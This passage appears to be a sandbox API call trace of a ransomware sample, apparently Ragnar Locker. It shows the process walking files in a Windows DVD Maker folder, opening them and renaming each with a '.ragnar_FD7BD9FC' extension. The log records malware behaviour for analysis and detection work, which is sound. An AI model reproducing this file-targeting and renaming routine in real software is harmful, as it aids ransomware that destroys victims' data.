lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726dbe73, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726dbe73, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x47c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0079.331] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.331] lstrcpyW (in: lpString1=0x1eab56, lpString2="content-background.png" | out: lpString1="content-background.png") returned="content-background.png" [0079.331] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png") returned=".png" [0079.332] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.332] CloseHandle (hObject=0xffffffff) returned 0 [0079.332] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" [0079.332] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png.ragnar_FD7BD9FC" [0079.333] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.333] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11276, dwReserved0=0x0, dwReserved1=0x0, cFileName="header-background.png", cAlternateFileName="")) returned 1 [0079.333] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.333] lstrcpyW (in: lpString1=0x1eab56, lpString2="header-background.png" | out: lpString1="header-background.png") returned="header-background.png" [0079.333] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png") returned=".png" [0079.333] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.333] CloseHandle (hObject=0xffffffff) returned 0 [0079.333] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png" [0079.333] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png.ragnar_FD7BD9FC" [0079.333] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.333] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3126b, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport.png", cAlternateFileName="")) returned 1 [0079.333] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.333] lstrcpyW (in: lpString1=0x1eab56, lpString2="passport.png" | out: lpString1="passport.png") returned="passport.png" [0079.333] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png") returned=".png" [0079.334] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.334] CloseHandle (hObject=0xffffffff) returned 0 [0079.334] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png" [0079.334] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png.ragnar_FD7BD9FC" [0079.334] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.334] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7272812d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7272812d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x10e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="Passport.wmv", cAlternateFileName="")) returned 1 [0079.334] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.334] lstrcpyW (in: lpString1=0x1eab56, lpString2="Passport.wmv" | out: lpString1="Passport.wmv") returned="Passport.wmv" [0079.334] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv") returned=".wmv" [0079.334] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.335] CloseHandle (hObject=0xffffffff) returned 0 [0079.335] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv" [0079.335] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv.ragnar_FD7BD9FC" [0079.335] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.335] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727e67fe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727e67fe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x58bf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="passportcover.png", cAlternateFileName="")) returned 1 [0079.335] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.335] lstrcpyW (in: lpString1=0x1eab56, lpString2="passportcover.png" | out: lpString1="passportcover.png") returned="passportcover.png" [0079.335] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png") returned=".png" [0079.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.345] CloseHandle (hObject=0xffffffff) returned 0 [0079.345] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png" [0079.345] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png.ragnar_FD7BD9FC" [0079.345] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.345] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7279a544, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7279a544, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7254, dwReserved0=0x0, dwReserved1=0x0, cFileName="PassportMask.wmv", cAlternateFileName="")) returned 1 [0079.345] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.345] lstrcpyW (in: lpString1=0x1eab56, lpString2="PassportMask.wmv" | out: lpString1="PassportMask.wmv") returned="PassportMask.wmv" [0079.345] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv") returned=".wmv" [0079.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.346] CloseHandle (hObject=0xffffffff) returned 0 [0079.346] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv" [0079.346] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv.ragnar_FD7BD9FC" [0079.346] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.346] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7279a544, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7279a544, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7254, dwReserved0=0x0, dwReserved1=0x0, cFileName="PassportMask_PAL.wmv", cAlternateFileName="")) returned 1 [0079.346] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.346] lstrcpyW (in: lpString1=0x1eab56, lpString2="PassportMask_PAL.wmv" | out: lpString1="PassportMask_PAL.wmv") returned="PassportMask_PAL.wmv" [0079.346] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv") returned=".wmv" [0079.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.346] CloseHandle (hObject=0xffffffff) returned 0 [0079.346] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv" [0079.346] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv.ragnar_FD7BD9FC" [0079.347] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.347] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727c06a1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727c06a1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport_mask_left.png", cAlternateFileName="")) returned 1 [0079.347] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.347] lstrcpyW (in: lpString1=0x1eab56, lpString2="passport_mask_left.png" | out: lpString1="passport_mask_left.png") returned="passport_mask_left.png" [0079.347] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png") returned=".png" [0079.347] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.347] CloseHandle (hObject=0xffffffff) returned 0 [0079.347] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png" [0079.347] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png.ragnar_FD7BD9FC" [0079.347] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.347] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727e67fe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727e67fe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport_mask_right.png", cAlternateFileName="")) returned 1 [0079.347] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.347] lstrcpyW (in: lpString1=0x1eab56, lpString2="passport_mask_right.png" | out: lpString1="passport_mask_right.png") returned="passport_mask_right.png" [0079.347] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png") returned=".png" [0079.348] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.348] CloseHandle (hObject=0xffffffff) returned 0 [0079.348] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png" [0079.348] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png.ragnar_FD7BD9FC" [0079.348] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.348] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7274e28a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7274e28a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1aaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Passport_PAL.wmv", cAlternateFileName="")) returned 1 [0079.348] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.348] lstrcpyW (in: lpString1=0x1eab56, lpString2="Passport_PAL.wmv" | out: lpString1="Passport_PAL.wmv") 